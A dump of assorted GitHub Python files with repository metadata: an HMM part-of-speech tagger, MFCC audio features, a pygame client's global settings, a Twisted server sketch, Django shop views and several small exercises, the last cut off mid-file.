Sign In \r\n 2 - Sign Out\r\n 3 - View Info\r\n 4 - Exit\\n\"\"\"))\r\n if n_response == 1:\r\n workers[name].sign_in()\r\n for box in box_list.box_list:\r\n if box.current_worker is None:\r\n box.current_worker = name\r\n elif n_response == 2:\r\n workers[name].sign_out()\r\n elif n_response == 3:\r\n workers[name].print_info()\r\n elif response == 2:\r\n new_worker = Worker()\r\n workers[new_worker.name] = new_worker\r\n print(f\"Welcome {new_worker.name}!\")\r\n","repo_name":"ShaiFeld18/havkastore","sub_path":"workers_app.py","file_name":"workers_app.py","file_ext":"py","file_size_in_byte":1217,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"22805212543","text":"import os\nimport re\nimport time\n\nBROWN_CORPUS_DIR = 'brown'\nDICTIONARY_DIR = 'dictionary'\nTEST_DIR = 'test'\n\nWORD = 'word'\nWORD_TAG = 'word_tag'\nUNIGRAM = 'unigram'\nBIGRAM = 'bigram'\nTRIGRAM = 'trigram'\nPOSSIBLE_TAGS = \"possible_tags\"\nFILE_TEST_TAG_ORIGIN = 'test_tag_origin'\nFILE_TEST = 'test'\n\nLAMDA_1 = 0.2\nLAMDA_2 = 0.4\nLAMDA_3 = 0.4\n\n\nclass BrownCorpus:\n word_dict = {}\n word_tag_dict = {}\n unigram_tag_dict = {}\n bigram_tag_dict = {}\n trigram_tag_dict = {}\n possible_tags_dict = {}\n distinct_tags = []\n\n test = ''\n test_tag = ''\n\n def __init__(self):\n\n if os.path.isdir(DICTIONARY_DIR):\n self.word_dict = get_trained_data(WORD)\n self.word_tag_dict = get_trained_data(WORD_TAG)\n self.unigram_tag_dict = get_trained_data(UNIGRAM)\n self.bigram_tag_dict = get_trained_data(BIGRAM)\n self.trigram_tag_dict = get_trained_data(TRIGRAM)\n self.possible_tags_dict = get_trained_data(POSSIBLE_TAGS)\n else:\n list_of_filename = os.listdir(BROWN_CORPUS_DIR)\n count_file = 0\n for filename in list_of_filename:\n if re.match('c[a-r]\\d{2}', filename) is not None:\n count_file += 1\n with open(BROWN_CORPUS_DIR + \"/\" + filename) as corpus_file:\n lines = corpus_file.readlines()\n for line in lines:\n if line.strip():\n line += \" STOP/STOP\"\n penult_tag = ''\n last_tag = ''\n for word_tag in line.split():\n word, tag = word_tag.rsplit('/', 1)\n\n if count_file <= 490:\n\n if word in self.possible_tags_dict:\n self.possible_tags_dict[word].add(tag)\n else:\n self.possible_tags_dict[word] = {tag}\n\n if word in self.word_dict:\n self.word_dict[word] += 1\n else:\n self.word_dict[word] = 1\n\n if (word, tag) in self.word_tag_dict:\n self.word_tag_dict[word, tag] += 1\n else:\n self.word_tag_dict[word, tag] = 1\n\n if tag in self.unigram_tag_dict:\n self.unigram_tag_dict[tag] += 1\n else:\n self.unigram_tag_dict[tag] = 1\n\n if (last_tag, tag) in self.bigram_tag_dict:\n self.bigram_tag_dict[last_tag, tag] += 1\n else:\n self.bigram_tag_dict[last_tag, tag] = 1\n\n if (penult_tag, last_tag, tag) in self.trigram_tag_dict:\n self.trigram_tag_dict[penult_tag, last_tag, tag] += 1\n else:\n self.trigram_tag_dict[penult_tag, last_tag, tag] = 1\n\n penult_tag = last_tag\n last_tag = tag\n\n else:\n self.test += word + '\\n'\n # if word != 'STOP':\n self.test_tag += word + '\\t' + tag + '\\n'\n\n corpus_file.close()\n\n os.makedirs(DICTIONARY_DIR)\n save_trained_data(self.word_dict, WORD)\n save_trained_data(self.word_tag_dict, WORD_TAG)\n save_trained_data(self.unigram_tag_dict, UNIGRAM)\n save_trained_data(self.bigram_tag_dict, BIGRAM)\n save_trained_data(self.trigram_tag_dict, TRIGRAM)\n save_trained_data(self.possible_tags_dict, POSSIBLE_TAGS)\n\n os.makedirs(TEST_DIR)\n save_test_data(self.test, FILE_TEST)\n save_test_data(self.test_tag, FILE_TEST_TAG_ORIGIN)\n\n self.process_low_frequency_word()\n self.distinct_tags = set(self.unigram_tag_dict.keys())\n\n def process_low_frequency_word(self):\n new = {}\n possible_tags_dict = {}\n # change words with freq <5 into unknown words \"\"\n for (word, tag) in self.word_tag_dict:\n new[word, tag] = self.word_tag_dict[word, tag]\n possible_tags_dict[word] = self.possible_tags_dict[word]\n if self.word_tag_dict[word, tag] < 5:\n if ('', tag) not in new:\n new['', tag] = 0\n new['', tag] += self.word_tag_dict[word, tag]\n if '' not in self.possible_tags_dict:\n possible_tags_dict[''] = {tag}\n possible_tags_dict[''] = self.possible_tags_dict[word]\n self.word_tag_dict = new\n self.possible_tags_dict = possible_tags_dict\n\n def get_e(self, word, tag):\n if (word, tag) in self.word_tag_dict:\n return float(self.word_tag_dict[word, tag]) / self.unigram_tag_dict[tag]\n else:\n return 0.0\n\n def get_q(self, penult_tag, last_tag, current_tag):\n # if (penult_tag, last_tag, current_tag) in self.trigram_tag_dict:\n # return float(self.trigram_tag_dict[penult_tag, last_tag, current_tag]) / self.bigram_tag_dict[last_tag, current_tag]\n if (penult_tag, last_tag, current_tag) in self.trigram_tag_dict and (\n penult_tag, last_tag) in self.bigram_tag_dict:\n value_1 = LAMDA_1 * float(self.trigram_tag_dict[penult_tag, last_tag, current_tag]) / \\\n self.bigram_tag_dict[penult_tag, last_tag]\n else:\n value_1 = 0.0\n\n if (last_tag, current_tag) in self.bigram_tag_dict and last_tag in self.unigram_tag_dict:\n value_2 = LAMDA_2 * float(self.bigram_tag_dict[last_tag, current_tag]) / \\\n self.unigram_tag_dict[last_tag]\n else:\n value_2 = 0.0\n\n if current_tag in self.unigram_tag_dict:\n value_3 = LAMDA_3 * float(self.unigram_tag_dict[current_tag]) / \\\n len(self.unigram_tag_dict)\n else:\n value_3 = 0.0\n\n return value_1 + value_2 + value_3\n # else:\n # return 0.0\n\n def get_tag_sequence(self, sentence):\n n = len(sentence)\n if n == 0:\n return '';\n print('tagging...')\n pi = {}\n pi[0, '', ''] = 1\n bp = {}\n y = {}\n \n for k in range(1, n + 1):\n word = self.get_word(sentence, k - 1)\n last_word = self.get_word(sentence, k - 2)\n penult_word = self.get_word(sentence, k - 3)\n\n for u in self.get_tags(k - 1, last_word):\n for v in self.get_tags(k, word):\n pi[k, u, v], bp[k, u, v] = max(\n [(pi[k - 1, w, u] * self.get_q(w, u, v) * self.get_e(word, v), w) for w in\n self.get_tags(k - 2, penult_word)])\n\n if n == 1:\n prob, y[n] = max([(self.get_q(u, v, 'STOP'), v)])\n else:\n v_tags = self.possible_tags_dict[self.get_word(sentence, n - 1)]\n u_tags = self.possible_tags_dict[self.get_word(sentence, n - 2)]\n prob, y[n - 1], y[n] = max([(pi[n, u, v] * self.get_q(u, v, 'STOP'), u, v) for u in u_tags for v in v_tags])\n\n for k in range(n - 2, 0, -1):\n y[k] = bp[k + 2, y[k + 1], y[k + 2]]\n\n return y\n\n def get_word(self, sentence, k):\n if k < 0:\n return ''\n else:\n if sentence[k] not in self.word_dict:\n print(\"\\033[93m \\033[0m\" % sentence[k])\n return ''\n return sentence[k]\n\n def get_tags(self, k, word):\n if k in [0, -1]:\n return set([''])\n else:\n return self.possible_tags_dict[word]\n\n def test_accuracy(self, test_result):\n correct = 0\n n = 0\n num_senten = 0\n senten_correct = 0\n tag_word_in_senten_correct = 0\n word_in_senten = 0\n\n fkey = open(TEST_DIR + '/' + FILE_TEST_TAG_ORIGIN, 'r')\n for line in open(TEST_DIR + '/' + test_result, 'r'):\n word_in_senten += 1\n n += 1\n if line == fkey.readline():\n tag_word_in_senten_correct += 1\n correct += 1\n if 'STOP' in line:\n num_senten += 1\n if tag_word_in_senten_correct == word_in_senten:\n senten_correct += 1\n word_in_senten = 0\n tag_word_in_senten_correct = 0\n\n fkey.close()\n print('Number of words in dictionary: ', len(self.word_dict))\n print('Number of tags in dictionary: ', len(self.distinct_tags))\n print('----------TEST-----------')\n print('Number of testing sentences: ', num_senten)\n print('Number of correct sentences: ', senten_correct)\n print('==> Sentences tag accuracy: ', float(senten_correct) / num_senten)\n print('Number of word to test: ', correct)\n print('Number of correct word: ', n)\n print('==> All tag accuracy: ', float(correct) / n)\n\n def test_tag_sequence(self, testFileName, outFileName):\n start_time = time.time()\n\n sentence = []\n fout = open(TEST_DIR + '/' + outFileName, 'w')\n\n for line in open(TEST_DIR + '/' + testFileName, 'r'):\n line = line.strip()\n if line == 'STOP':\n if sentence:\n sentence.append(line)\n print(sentence)\n path = self.get_tag_sequence(sentence)\n print(path)\n for i in range(len(sentence)):\n fout.write(sentence[i] + '\\t' + path[i + 1] + '\\n')\n sentence = []\n else:\n sentence.append(line)\n\n finish_time = time.time()\n fout.close()\n print('time to execute test_tag_sequence method:', finish_time - start_time)\n\n\ndef save_trained_data(data, filename):\n file_path = DICTIONARY_DIR + '/' + filename\n file = open(file_path, 'w')\n file.write(str(data))\n file.close()\n\n\ndef save_test_data(data, filename):\n file_path = TEST_DIR + '/' + filename\n file = open(file_path, 'w')\n file.write(str(data))\n file.close()\n\n\ndef get_trained_data(filename):\n file_path = DICTIONARY_DIR + '/' + filename\n file = open(file_path, 'r')\n file_content = file.read()\n file.close()\n return eval(file_content)\n","repo_name":"viettrung/trigram-hmm","sub_path":"hmm.py","file_name":"hmm.py","file_ext":"py","file_size_in_byte":11187,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"71570874612","text":"import swat_settings\nfrom assembla import API\n\n\nclass GlobalInfo(object):\n def __init__(self):\n self.assembla = None\n self.swat_space = None\n self.swat_users = None\n self.seismic_tickets = None\n\n def load(self):\n self.assembla = API(key=swat_settings.SWAT_API_KEY, secret=swat_settings.SWAT_API_SECRET)\n self.swat_space = self.assembla.spaces(name=swat_settings.SWAT_SPACE_NAME)[0]\n self.swat_users = self.__get_swat_user_info()\n self.seismic_tickets = self.swat_space.tickets()\n\n def __get_swat_user_info(self):\n swat_users = []\n for user in self.swat_space.users():\n if 'email' in user.keys() and user['email'] in swat_settings.SWAT_EMAILS:\n swat_users.append(user)\n\n return swat_users\n\n\nGLOBAL_INFO = GlobalInfo()\n","repo_name":"chao-zhou/assembla-console","sub_path":"global_info.py","file_name":"global_info.py","file_ext":"py","file_size_in_byte":829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6560512188","text":"import scipy\nimport numpy as np\nimport python_speech_features\n\ndef delta(feat, N):\n\n if N < 1:\n raise ValueError('N must be an integer >= 1')\n NUMFRAMES = len(feat)\n denominator = 2 * sum([i**2 for i in range(1, N+1)])\n delta_feat = np.empty_like(feat)\n padded = np.pad(feat, ((N, N), (0, 0)), mode='edge') # padded version of feat\n for t in range(NUMFRAMES):\n delta_feat[t] = np.dot(np.arange(-N, N+1), padded[t : t+2*N+1]) / denominator # [t : t+2*N+1] == [(N+t)-N : (N+t)+N+1]\n return delta_feat\n\n\ndef get_mfcc(path, signalpath=None, signal = None, rate=None):\n if path == True:\n rate, signal = scipy.io.wavfile.read(signalpath)\n signal = np.cast['float'](signal)\n\n mfcc_ = python_speech_features.mfcc(signal, rate, winlen=0.02, winstep=0.01, numcep=13, nfilt=24, nfft=512, \n lowfreq=0, highfreq=4000, preemph=0.97, ceplifter=0, appendEnergy=True)\n\n delta_ = delta(mfcc_, 1)\n deltadelta_ = delta(delta_, 1)\n mfcc = np.concatenate((mfcc_, delta_, deltadelta_), axis = 1)\n return mfcc\n\n\ndef get_bob_mfcc(signal):\n signal = np.cast['float'](signal)\n import bob.ap\n c = bob.ap.Ceps(sampling_frequency = 16000, win_length_ms = 20, win_shift_ms = 10, n_filters = 24, \n n_ceps = 13, f_min = 0., f_max = 4000., delta_win = 2, \n pre_emphasis_coeff = 0.97, dct_norm = True, mel_scale = True)\n c.with_delta = True\n c.with_delta_delta = True\n c.with_energy = True\n mfcc = c(signal)\n return mfcc","repo_name":"timedcy/voice-biometrics","sub_path":"Features/MFCC.py","file_name":"MFCC.py","file_ext":"py","file_size_in_byte":1530,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"24313705277","text":"\n\ndef format_money(amount):\n amount = str(amount)\n zeros = \".00\"\n dolar_sign = \"$\"\n if \".\" in amount:\n cents = dolar_sign + amount\n print(amount)\n print(cents)\n else:\n cents = amount + zeros\n print(cents)\n if len(amount) >=6:\n amount = amount.replace('amount[len(amount)]' , '')\n print(amount)\n\n\nformat_money(77)\nformat_money(37.00)\nformat_money(45.897)","repo_name":"ruben-duarte/100daysOfCodeinPython","sub_path":"dollarToCents.py","file_name":"dollarToCents.py","file_ext":"py","file_size_in_byte":421,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"72616720693","text":"from __future__ import print_function\n\nimport os\nimport sys\n\nfrom fabulous import utils, image, grapefruit\nfrom fabulous.compatibility import printy\n\ntry:\n unicode = unicode\nexcept NameError:\n unicode = str\n basestring = (str, bytes)\n\n\nclass Text(image.Image):\n u\"\"\"Renders TrueType Text to Terminal\n\n I'm a sub-class of :class:`fabulous.image.Image`. My job is\n limited to simply getting things ready. I do this by:\n\n - Turning your text into an RGB-Alpha bitmap image using\n :mod:`PIL`\n\n - Applying way cool effects (if you choose to enable them)\n\n For example::\n\n >>> assert Text(\"Fabulous\", shadow=True, skew=5)\n\n >>> txt = Text(\"lorem ipsum\", font=\"NotoSans-Bold\")\n >>> len(str(txt)) > 0\n True\n >>> txt = Text(u\"😃\", font=\"NotoSans-Bold\")\n >>> len(str(txt)) > 0\n True\n\n :param text: The text you want to display as a string.\n\n :param fsize: The font size in points. This obviously end up\n looking much larger because in fabulous a single\n character is treated as one horizontal pixel and two\n vertical pixels.\n\n :param color: The color (specified as you would in HTML/CSS) of\n your text. For example Red could be specified as\n follows: ``red``, ``#00F`` or ``#0000FF``.\n\n :param shadow: If true, render a simple drop-shadow beneath text.\n The Fabulous logo uses this feature.\n\n :param skew: Skew size in pixels. This applies an affine\n transform to shift the top-most pixels to the right.\n The Fabulous logo uses a five pixel skew.\n\n :param font: The TrueType font you want. If this is not an\n absolute path, Fabulous will search for your font by\n globbing the specified name in various directories.\n \"\"\"\n\n def __init__(self, text, fsize=23, color=\"#0099ff\", shadow=False,\n skew=None, font='NotoSans-Bold'):\n utils.pil_check()\n from PIL import Image, ImageFont, ImageDraw\n self.text = text\n self.color = grapefruit.Color.NewFromHtml(color)\n self.font = ImageFont.truetype(resolve_font(font), fsize)\n skew = skew or 0\n size = tuple([n + 3 + skew for n in self.font.getsize(self.text)])\n self.img = Image.new(\"RGBA\", size, (0, 0, 0, 0))\n cvs = ImageDraw.Draw(self.img)\n if shadow:\n cvs.text((2 + skew, 2), self.text,\n font=self.font,\n fill=(150, 150, 150, 150))\n cvs.text((1 + skew, 1), self.text,\n font=self.font,\n fill=self.color.html)\n if skew:\n self.img = self.img.transform(\n size, Image.AFFINE, (1.0, 0.1 * skew, -1.0 * skew,\n 0.0, 1.0, 0.0))\n self.resize(None)\n\n\nclass FontNotFound(ValueError):\n \"\"\"I get raised when the font-searching hueristics fail\n\n This class extends the standard :exc:`ValueError` exception so you\n don't have to import me if you don't want to.\n \"\"\"\n\n\ndef resolve_font(name):\n \"\"\"Turns font names into absolute filenames\n\n This is case sensitive. The extension should be omitted.\n\n For example::\n\n >>> path = resolve_font('NotoSans-Bold')\n\n >>> fontdir = os.path.join(os.path.dirname(__file__), 'fonts')\n >>> noto_path = os.path.join(fontdir, 'NotoSans-Bold.ttf')\n >>> noto_path = os.path.abspath(noto_path)\n >>> assert path == noto_path\n\n Absolute paths are allowed::\n\n >>> resolve_font(noto_path) == noto_path\n True\n\n Raises :exc:`FontNotFound` on failure::\n\n >>> try:\n ... resolve_font('blahahaha')\n ... assert False\n ... except FontNotFound:\n ... pass\n\n \"\"\"\n if os.path.exists(name):\n return os.path.abspath(name)\n fonts = get_font_files()\n if name in fonts:\n return fonts[name]\n raise FontNotFound(\"Can't find %r :'( Try adding it to ~/.fonts\" % name)\n\nfont_roots = [\n '/usr/share/fonts/truetype', # where ubuntu puts fonts\n '/usr/share/fonts', # where fedora puts fonts\n os.path.expanduser('~/.local/share/fonts'), # custom user fonts\n os.path.expanduser('~/.fonts'), # custom user fonts\n os.path.abspath(os.path.join(os.path.dirname(__file__), 'fonts')),\n]\n\n@utils.memoize\ndef get_font_files():\n \"\"\"Returns a list of all font files we could find\n\n Returned as a list of dir/files tuples::\n\n get_font_files() -> {'FontName': '/abs/FontName.ttf', ...]\n\n For example::\n\n >>> fonts = get_font_files()\n >>> 'NotoSans-Bold' in fonts\n True\n >>> fonts['NotoSans-Bold'].endswith('/NotoSans-Bold.ttf')\n True\n\n \"\"\"\n result = {}\n for root in font_roots:\n for path, dirs, names in os.walk(root):\n for name in names:\n if name.endswith(('.ttf', '.otf')):\n result[name[:-4]] = os.path.join(path, name)\n return result\n\n\ndef main():\n \"\"\"Main function for :command:`fabulous-text`.\"\"\"\n import optparse\n parser = optparse.OptionParser()\n parser.add_option(\n \"-l\", \"--list\", dest=\"list\", action=\"store_true\", default=False,\n help=(\"List available fonts\"))\n parser.add_option(\n \"-S\", \"--skew\", dest=\"skew\", type=\"int\", default=None,\n help=(\"Apply skew effect (measured in pixels) to make it look \"\n \"extra cool. For example, Fabulous' logo logo is skewed \"\n \"by 5 pixels. Default: %default\"))\n parser.add_option(\n \"-C\", \"--color\", dest=\"color\", default=\"#0099ff\",\n help=(\"Color of your text. This can be specified as you would \"\n \"using HTML/CSS. Default: %default\"))\n parser.add_option(\n \"-B\", \"--term-color\", dest=\"term_color\", default=None,\n help=(\"If you terminal background isn't black, please change \"\n \"this value to the proper background so semi-transparent \"\n \"pixels will blend properly.\"))\n parser.add_option(\n \"-F\", \"--font\", dest=\"font\", default='NotoSans-Bold',\n help=(\"Name of font file, or absolute path to one. Use the --list \"\n \"flag to see what fonts are available. Fabulous bundles the \"\n \"NotoSans-Bold and NotoEmoji-Regular fonts, which are guaranteed \"\n \"to work. Default: %default\"))\n parser.add_option(\n \"-Z\", \"--size\", dest=\"fsize\", type=\"int\", default=23,\n help=(\"Size of font in points. Default: %default\"))\n parser.add_option(\n \"-s\", \"--shadow\", dest=\"shadow\", action=\"store_true\", default=False,\n help=(\"Size of font in points. Default: %default\"))\n (options, args) = parser.parse_args(args=sys.argv[1:])\n if options.list:\n print(\"\\n\".join(sorted(get_font_files())))\n return\n if options.term_color:\n utils.term.bgcolor = options.term_color\n text = \" \".join(args)\n if not isinstance(text, unicode):\n text = text.decode('utf-8')\n for line in text.split(\"\\n\"):\n fab_text = Text(line, skew=options.skew, color=options.color,\n font=options.font, fsize=options.fsize,\n shadow=options.shadow)\n for chunk in fab_text:\n printy(chunk)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"jart/fabulous","sub_path":"fabulous/text.py","file_name":"text.py","file_ext":"py","file_size_in_byte":7459,"program_lang":"python","lang":"en","doc_type":"code","stars":341,"dataset":"github-code","pt":"21"} +{"seq_id":"18943744272","text":"#!/usr/bin/env python\n# -*- coding: UTF-8 -*-\n\nimport os\nimport pygame\nfrom pygame.locals import *\n\nfrom constants import TARGET_TYPE_NONE\n\npygame.init()\n\n# connection\ngameEngine = None\nsoundEngine = None\n\ntcpConn = None\nconnector = None\n\n# player variables\nmyIndex = None\nexpToNextLvl = 0\ntarget = None\ntargetType = TARGET_TYPE_NONE\n\n# gameloop\ninGame = False\nisLogging = True\ngameState = 0\nconnectionStatus = \"\"\n\ncanMoveNow = True\n\neditor = None\n\n# input\ninpDIR_UP = False\ninpDIR_DOWN = False\ninpDIR_LEFT = False\ninpDIR_RIGHT = False\ninpSHIFT = False\ninpCTRL = False\n\n# spell hotkeys\nSPELLBOOK_HOTKEYS = {pygame.K_1: None, \n pygame.K_2: None,\n pygame.K_3: None,\n pygame.K_4: None,\n pygame.K_5: None,\n pygame.K_6: None,\n pygame.K_7: None,\n pygame.K_8: None,\n pygame.K_9: None}\n\nSPELLBOOK_HOTKEYS_STRINGS = {pygame.K_1: '1', \n pygame.K_2: '2',\n pygame.K_3: '3',\n pygame.K_4: '4',\n pygame.K_5: '5',\n pygame.K_6: '6',\n pygame.K_7: '7',\n pygame.K_8: '8',\n pygame.K_9: '9'}\nHOTKEY_1 = None\nHOTKEY_2 = None\nHOTKEY_3 = None\nHOTKYE_4 = None\n\n\n# used for improved looping\nhighIndex = 0\nplayersOnMapHighIndex = 0\nplayersOnMap = []\nnpcHighIndex = 0\n\n# used for draggin picture boxes\nsOffsetX = 0\nsOffestY = 0\n\n# freeze controls when getting map\ngettingMap = False\n\n# mouse position (and tile position)\ncursorX = 0\ncursorY = 0\ncursorXTile = 0\ncursorYTile = 0\n\n# maximum classes\nmaxClasses = 3\n\n# path for data files\ndataPath = os.path.join('..', 'data')\n\n# --------------------\n\n# general\nSCREEN_WIDTH = 800\nSCREEN_HEIGHT = 600\n\n# sdl\nscreenSurface = None\n\ngameSurface = pygame.Surface((480, 352))\nbgSurface = None\n\nguiSurface = pygame.Surface((800, 600))\n\ndirtyRects = []\n\n# surfaces\ngameSurfaceXOffset = 0\ngameSurfaceYOffset = 0\n\nguiSurfaceXOffset = 0\nguiSurfaceYOffset = 0\n\nclock = pygame.time.Clock()\n\n# fonts\n''' change these to customize the in-game fonts '''\nsystemFont = pygame.font.Font(dataPath + '/fonts/Lato-Regular.ttf', 16)\nnameFont = pygame.font.Font(dataPath + '/fonts/Romulus.ttf', 16)\nchatFont = pygame.font.Font(dataPath + '/fonts/Romulus.ttf', 16)\ncharSelFont = pygame.font.Font(dataPath + '/fonts/Romulus.ttf', 23)\ntooltipFont = pygame.font.Font(dataPath + '/fonts/Romulus.ttf', 16)\n\n# check if text is to be drawn\nboolFPS = False\nboolLoc = False\n\n# tiles\ntileDimension = 32\n\n# map\nmapNames = []\n","repo_name":"marcusmoller/pyorpg-client","sub_path":"src/global_vars.py","file_name":"global_vars.py","file_ext":"py","file_size_in_byte":2762,"program_lang":"python","lang":"en","doc_type":"code","stars":55,"dataset":"github-code","pt":"21"} +{"seq_id":"74504880051","text":"from zope.interface import implements\nfrom twisted.spread import jelly, banana\nfrom twisted.cred import portal, checkers, credentials, error\nfrom twisted.internet import reactor, protocol, task, defer\n\nimport common\nfrom sasync.database import transact, AccessBroker\n\n#\n# VERY VERY MUCH A WORK IN PROGRESS! DON'T EVEN TRY TO USE YET!!!\n#\n\n\nclass ISharedSecret(credentials.ICredentials):\n \"\"\"\n I encapsulate a shared secret that corresponds to a particular data store\n account.\n\n @type secret: C{str}\n @ivar secret: The shared secret associated with these credentials.\n\n \"\"\"\n pass\n\n\nclass SharedSecret:\n implements(ISharedSecret)\n def __init__(self, secret):\n self.secret = secret\n\n \nclass SecretChecker(object):\n \"\"\"\n \"\"\"\n implements(checkers.ICredentialsChecker)\n credentialInterfaces = (ISharedSecret,)\n\n def __init__(self, accounts):\n self.accounts = accounts\n\n def requestAvatarId(self, credentials):\n \"\"\"\n \"\"\"\n secret = credentials.secret\n if secret in self.accounts:\n result = self.accounts[secret]\n else:\n result = error.UnauthorizedLogin(\"No such account\")\n return result\n\n\nclass IAccountAvatar(Interface):\n \"\"\"\n \"\"\"\n\n\nclass AccountAvatar:\n implements(IAccountAvatar)\n def __init__(self, url, module):\n self.managers = {}\n for storeName in storeNames:\n self.managers[storeName] = ManagerClass(accountName)\n \n\nclass AccountRealm:\n \"\"\"\n \"\"\"\n implements(portal.IRealm)\n\n def __init__(self, url):\n self.data = AccountData(url)\n\n def requestAvatar(self, avatarId, mind, *interfaces):\n \"\"\"\n \"\"\"\n def accountError():\n pass\n \n def gotStores(storeNames):\n if storeNames:\n avatar = AccountAvatar(avatarId, storeNames)\n return (IAccountAvatar, avatar, lambda: None)\n else:\n accountError()\n \n if IAccountAvatar in interfaces:\n return self.data.getStores(avatarId).addCallback(gotStores)\n else:\n accountError()\n\n\nclass AccountServerProtocol(common.ProtocolMixin, banana.Banana):\n \"\"\"\n I manage the server end of a simple protocol for remote data access, based\n on Twisted's L{banana.Banana} object serialization protocol.\n \"\"\"\n def __init__(self, secret):\n banana.Banana.__init__(self, isClient=False)\n self.secret = secret\n\n def expressionReceived(self, expression):\n \"\"\"\n This method handles all commands.\n \"\"\"\n if expression[0] != 'list':\n return self.protocolError(\"Invalid command expression\")\n else:\n try:\n tokenList = jelly.unjelly(expression, self.security)\n except:\n return self.protocolError(\n \"Invalid token list in command\")\n if tokenList[0] == 'login':\n self.login(tokenList[1]).addCallback(self.sendEncoded)\n elif tokenList[0] not in self.commands:\n self.protocolError(\"Invalid command\")\n elif tokenList[1] not in self.avatar.stores:\n self.protocolError(\"Invalid data store\")\n else:\n command, storeName = tokenList[0:2]\n manager = self.avatar.managers[storeName]\n commandMethod = getattr(manager, command)\n commandMethod(*tokenList[2:]).addCallback(self.sendEncoded)\n\n def login(secret):\n \"\"\"\n \"\"\"\n pass\n\n def protocolError(msg):\n \"\"\"\n \"\"\"\n self.transport.loseConnection()\n\n\nclass AccountServerFactory(protocol.ServerFactory):\n \"\"\"\n \"\"\"\n protocol = AccountServerProtocol\n def __init__(self, portal):\n self.portal = portal\n\n\nclass Server(common.ClientServerMixin):\n \"\"\"\n @accounts: A C{dict} containing account names keyed by the shared secret\n strings that unlock those accounts.\n\n @port: An C{int} specifying the port on which the server is to listen for\n connections.\n \n @param SSL_context: A C{sequence} containing the names of a private key\n file and a certificate file. Supplied only if the server should operate\n via SSL instead of plain TCP.\n \n \"\"\"\n def __init__(self, accounts, port, SSL_context=None):\n portal = portal.Portal()\n portal.registerChecker(SecretChecker(accounts))\n factory = AccountServerFactory(portal)\n if SSL_context:\n self.reactorSSL(port, factory, context=SSL_context)\n else:\n reactor.listenTCP(port, factory)\n","repo_name":"belasin/tums","sub_path":"tums/trunk/lite/sasync/datacator/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":4668,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"14207899823","text":"from django.http import HttpResponse\n# get_object_or_404 работает аналогично get,т.е.делает selectз апрос к базе данных.Но если запрос не вернёт строку из таблицы БД,представление отрисует страницу с ошибкой 404.\nfrom django.shortcuts import render, redirect, get_object_or_404\nfrom django.core.files.storage import FileSystemStorage\nfrom hw_app.forms import ImageForm\nfrom django.utils import timezone\nfrom . import models\nfrom . import forms\nimport logging\n\n\nlogger = logging.getLogger(__name__)\n\n\n# def index(request):\n# logger.info('Index page accessed')\n# return HttpResponse('Главная страница проекта.')\n\n\ndef about(request):\n try:\n # some code that might raise an exception\n result = 1 / 2 # (для теста) при делении на 0 (1 / 0) ошибка\n except Exception as e:\n logger.exception(f'Error in \"about\" page: {e}')\n return HttpResponse('Oops, somthing went wrong.')\n else:\n logger.info('About page accessed')\n return HttpResponse('About project1')\n\n\ndef index(request):\n return render(request, 'hw_app/base1.html')\n\n\ndef get_all_products(request):\n products = models.Product.objects.all()\n return render(request, 'hw_app/products.html', {'products': products})\n\n\ndef order_view(request):\n if request.GET.get('all_orders'):\n orders = models.Order.objects.all()\n elif request.GET.get('last_7_days'):\n orders = models.Order.objects.filter(\n date__gte=timezone.now() - timezone.timedelta(days=7))\n elif request.GET.get('last_30_days'):\n orders = models.Order.objects.filter(\n date__gte=timezone.now() - timezone.timedelta(days=30))\n elif request.GET.get('last_365_days'):\n orders = models.Order.objects.filter(\n date__gte=timezone.now() - timezone.timedelta(days=365))\n else:\n orders = models.Order.objects.all()\n return render(request, 'hw_app/orders.html', {'orders': orders, 'title': 'Список заказов'})\n\n\ndef clients_view(request):\n clients = models.Client.objects.all()\n return render(request, 'hw_app/clients.html', {'clients': clients, 'title': 'Список клиентов'})\n\n\ndef change_product(request, product_id):\n product = models.Product.objects.filter(pk=product_id).first()\n form = forms.ProductForm(request.POST, request.FILES)\n if request.method == 'POST' and form.is_valid():\n image = form.cleaned_data['image']\n if isinstance(image, bool):\n image = None\n if image is not None:\n fs = FileSystemStorage()\n fs.save(image.name, image)\n product.name = form.cleaned_data['name']\n product.description = form.cleaned_data['description']\n product.price = form.cleaned_data['price']\n product.amount = form.cleaned_data['amount']\n product.image = image\n product.save()\n return redirect('products')\n else:\n form = forms.ProductForm(initial={'name': product.name, 'description': product.description,\n 'price': product.price, 'amount': product.amount, 'image': product.image})\n\n return render(request, 'hw_app/change_product.html', {'form': form})\n\n\ndef change_client(request, client_id):\n client = models.Client.objects.filter(pk=client_id).first()\n form = forms.ClientForm(request.POST)\n if request.method == 'POST' and form.is_valid():\n client.name = form.cleaned_data['name']\n client.email = form.cleaned_data['email']\n client.phone = form.cleaned_data['phone']\n client.address = form.cleaned_data['address']\n client.reg_date = form.cleaned_data['reg_date']\n client.save()\n return redirect('clients')\n else:\n form = forms.ClientForm(initial={'name': client.name, 'email': client.email,\n 'phone': client.phone, 'address': client.address, 'reg_date': client.reg_date})\n\n return render(request, 'hw_app/change_client.html', {'form': form})\n\n\ndef upload_image(request):\n if request.method == 'POST':\n # request.POST чтобы получить текстовую информацию , request.FILES чтобы получить байты\n form = ImageForm(request.POST, request.FILES)\n if form.is_valid():\n image = form.cleaned_data['image']\n fs = FileSystemStorage() # FileSystemStorage экземпляр позволяет работать с файлами\n fs.save(image.name, image)\n else:\n form = ImageForm()\n return render(request, 'hw_app/upload_image.html', {'form': form})\n","repo_name":"BOBsoft75/project1","sub_path":"hw_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4778,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73666371893","text":"from typing import Set\n\n\nclass Solution:\n\n def mySqrt(self, x: int) -> int:\n if x < 2:\n return x\n\n min_i = 0\n max_i = x\n checked = set()\n max_allowed = 1\n\n while True:\n mid_i = 